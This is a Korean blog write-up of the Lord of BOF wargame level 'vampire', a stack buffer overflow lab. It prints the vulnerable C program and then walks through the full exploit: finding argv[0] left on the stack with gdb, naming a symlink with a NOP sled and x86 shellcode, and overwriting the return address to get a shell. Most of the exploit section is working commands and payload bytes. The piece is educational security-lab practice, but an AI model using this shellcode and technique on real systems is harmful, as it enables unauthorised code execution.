본문 바로가기
wargame/LOB

[포너블] LOB 10 - vampire

by 아메리카노와떡볶이 2021. 10. 3.
728x90
LOB 10 - vampire write up
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

다시 제약이 무지막지하게 많아졌다.. 이번에는 울트라 argv 헌터라니 막막하다 또한 이전 문제에서 제약을 걸지않았던 환경변수와 버퍼 초기화가 추가되었다

정리하면

 

환경변수, 버퍼 초기화

argv[1] 길이 제한

48번째 바이트 \xbf 고정

인자수는 1개 ( 즉 argv[2] 사용 x)

argv 전부 초기화 (????)

 

너무 막막해서 다른 분들의 라업을 참고해서 힌트를 얻었다.. 스택에 argv[0] 이 남아있는 것을 찾아냈어야하는데

이런 방법도 있구나 생각이 들었다.

 

힌트를 얻었으니 나도 한번 시도해보자. gdb로 뜯기위해 tmp 디렉토리를 생성하고 카피본을 만들어준다

[vampire@localhost tmp]$ ./skeleton `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
Segmentation fault (core dumped)

덤프 코어를 만들어주고 gdb로 뜯어보자

(gdb) x/1000s 0xbfffff00

 

진짜 argv[0]이 스택에 남아있는것을 확인할 수 있다.

 

argv[0]의 주소를 알게되었으니 이전 문제와 같은 방식으로 파일이름에 쉘코드를 넣어서 argv[0] 의 주소를 리턴해주면 문제를 해결할 수 있다. 

 

 

힌트가 유효한 것을 내 눈으로 확인했으니 이전 문제에서 내가 푼 방식대로 문제를 해결해보자.

skeleton의 링크를 만들어주자.

ln -s skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

링크를 통해 skeleton을 실행하고 argv[1]로 48바이트를 채워 dump core를 만든다

./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*47 + "\xbf" '`

 

코어를 gdb로 뜯어보면 내가 링크파일 이름으로 지정한 nop-sled와 쉘코드가 보인다.

즉 놉 슬레드가 시작되는 지점 적당한 곳으로 주소를 지정해주면 될 것이다

나는 0xbfffff80으로 지정하겠다.

ret 주소를 수정해서 다시 payload를 작성하자.

./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x80\xff\xff\xbf" '`

위의 페이로드로 시도했더니 안된다. 혹시나싶어서 nop-sled를 앞뒤로 좀 더 깔아서 다시 시도해보아야겠다고 생각이 들어서 다시해보았다.

처음에 앞뒤로 200개씩 했는데 file name too long 에러가 떠서 100개로 해서 앞뒤로 했다.

ln -s skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100 '`
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100 '` `python -c 'print "A"*47 + "\xbf" '`

여기 적당한 주소로 다시시도해보자.

./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100 '` `python -c 'print "A"*44 + "\x10\xff\xff\xbf" '`

성공했다.

지금은 tmp2 디렉토리에서 수행한거라 다음 문제 계정이 아닌 현재 로그인된 계정의 정보가 나온다 이제 위의 페이로드를 vampire 디렉토리에서 실행하자

성공 !!

 

nop-sled를 앞뒤로 깔아보자는 생각을 한게 잘한거같다. 다른 문제를 풀때도 이런 경우가 있으면

한번씩 시도해봐야겠다

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 9 - troll  (0) 2021.10.03
[포너블] LOB 8 - orge  (0) 2021.10.03
[포너블] LOB 7 - darkelf  (0) 2021.10.03
[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30

댓글